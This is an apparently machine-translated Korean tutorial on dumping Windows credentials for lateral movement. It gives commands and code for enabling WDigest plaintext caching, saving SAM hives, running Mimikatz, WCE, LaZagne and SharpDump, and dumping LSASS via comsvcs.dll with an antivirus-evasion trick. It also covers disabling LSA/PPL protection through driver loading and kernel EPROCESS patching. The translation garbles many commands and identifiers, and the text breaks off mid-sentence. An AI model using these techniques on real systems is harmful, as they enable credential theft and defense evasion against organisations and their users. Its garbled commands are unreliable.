현재 기계의 일반 텍스트 비밀번호를 받으십시오
도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.
Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.
로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.
따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.
참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.
여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)
reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f
Mimikatz
Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.
다운로드 주소 : https://github.com/gentilkiwi/mimikatz
1. 레지스트리를 통한 크롤링 해시
현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).
reg save hklm \\ system sys.hiv
reg save hklm \\ sam sam.hiv
파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.
mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'
이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.
2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.
권한 3:debug
TOKEN3:3360ELEVATE
LSADUMP3:SAM
3. 해시를 lsass.exe의 메모리에서 확장하십시오
Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'
로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.
pwdump7
pwdump7.exe를 직접 실행하십시오
wec
대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.
-L 로그인 세션 및 NTLM 자격 증명 (기본값)
-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH
-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.
-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.
-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트
-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름
-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.
-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다
-주소 매개 변수 : 주소를 사용합니다
-F Force Safe Mode
-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다
-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓
-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.
-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다
-V 상세한 출력
라자네
다운로드 주소 : https://github.com/alessandroz/lazagne
Lazagne.exe 모두
SharpDump
https://github.com/ghostpack/sharpdump
직접 컴파일하면됩니다
./sharpdump
lsasssilentprocessexit
https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W
침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.
주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.
#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'
#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'
원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.
hmodule hntdll=getModule Handle (l 'ntdll.dll');
rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');
hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);
그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.
lsasssilentprocessexit.exe 616 0
민감한 환경에서 LSASS 프로세스를 덤프하는 방법
파일없이 PowerShell을 사용하여 파일없이 내보내십시오
https://blog.csdn.net/chenfeng857/article/details/120126818
https://xz.aliyun.com/t/12157#toc-9
comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.
지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.
CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.
그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.
먼저 lsass.exe 프로세스 PID를 확인하십시오
작업 목록 | findstr lsass.exe
rundll32.exe comsvcs.dll minidump pid 경로 가득
rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full
직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.
그것을 우회하는 간단한 방법 :
Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll
C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오
rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full
로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.
Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit
runasppl이 활성화 된 환경에서
https://www.freebuf.com/articles/system/332506.html
https://xz.aliyun.com/t/12157#toc-19
Mimikatz
PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.
Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'
Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.
hdata=null을 처리합니다.
dword pid;
dword processrights=process_vm_read | Process_Query_Information;
kull_m_process_getprocessidforname (l 'lsass.exe', pid);
hdata=OpenProcess (processrights, false, pid);
if (hdata hdata!=invalid_handle_value) {
//OpenProcess OK 인 경우
}
또 다른 {
print_error_auto (메모리 핸들);
}
프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.
Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.
Minikatz 설치 드라이버
권한 3:debug
!+
보호 삭제
! ProcessProtect /Process:lsass.exe /제거
그런 다음 비밀번호를 버릴 수 있습니다
Sekurlsa:LogonPasswords
도구를 사용하여 보호가 삭제 된 것을보십시오.
mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '
pplkiller
https://www.cnblogs.com/revercc/p/16961961.html
https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/
우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.
PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.
Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.
typedef struct _ps_protection {
연합 {
uchar 레벨;
구조 {
UCHAR 유형 : 3;
Uchar Audit : 1; //예약된
Uchar Signer : 4;
};
};
} ps_protection, *pps_protection;
구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.
typedef enum _ps_protected_type {
psprotectedTypenone=0,
psprotectedTyPepRotectedlight=1,
psprotectedTyPeprotected=2
} ps_protected_type, *pps_protected_type;
typedef enum _ps_protected_signer {
psprotectedSignerNone=0, //0
psprotectedSignerauthenticode, //1
psprotectedSignerCodeGen, //2
psprotectedSignerantimalware, //3
psprotectedSignerlsa, //4
psprotectedSignerWindows, //5
psprotectedSignerwintcb, //6
psprotectedSignerWinsystem, //7
psprotectedSignerApp, //8
psprotectedSignerMax //9
} ps_protected_signer, *pps_protected_signer;
LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.
EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.
eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.
주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.
pplkiller.exe /installdriver
작업 목록 | findstr lsass.exe
pplkiller.exe /disableppl 688
다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.
bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호
.Reload
! 프로세스 0 0 LSASS.EXE
dt \ _eprocess
주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.
ppldump
https://itm4n.github.io/the-end-of-ppldump/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.
ppldump의 작동 원리는 다음과 같습니다.
AP에 전화하십시오
Recommended Comments